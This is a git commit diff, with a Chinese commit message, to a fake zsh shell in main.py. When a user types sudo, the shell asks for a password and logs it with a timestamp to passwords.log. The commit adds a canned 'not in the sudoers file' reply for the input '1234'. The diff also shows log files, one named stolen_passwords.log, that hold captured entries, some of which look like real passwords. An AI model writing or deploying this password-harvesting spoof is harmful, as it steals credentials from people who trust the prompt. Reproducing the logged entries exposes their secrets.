在 main.py 中添加对特定密码的处理逻辑,并更新密码日志文件,删除旧的 stolen_passwords.log 文件
This commit is contained in:
3
main.py
3
main.py
@@ -79,6 +79,9 @@ def pseudo_zsh():
|
||||
if args[0] == 'sudo':
|
||||
for attempt in range(3): # 循环 3 次
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
if fake_password == "1234":
|
||||
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
||||
break
|
||||
with open("passwords.log", "a") as f:
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
|
||||
@@ -17,3 +17,6 @@
|
||||
[2025-04-03 07:13:23] CROox934
|
||||
[2025-04-03 07:13:35] BRS273849506zhongxue
|
||||
[2025-04-03 07:13:39] jf
|
||||
[2025-04-06 22:19:26] 1234
|
||||
[2025-04-06 22:19:31] 1234
|
||||
[2025-04-06 22:19:35] 1234
|
||||
|
||||
3
stolen_passwords.log
Normal file
3
stolen_passwords.log
Normal file
@@ -0,0 +1,3 @@
|
||||
[2025-04-05 21:54:29] aaaaaaa
|
||||
[2025-04-05 21:54:31] a
|
||||
[2025-04-05 21:54:33] a
|
||||
Reference in New Issue
Block a user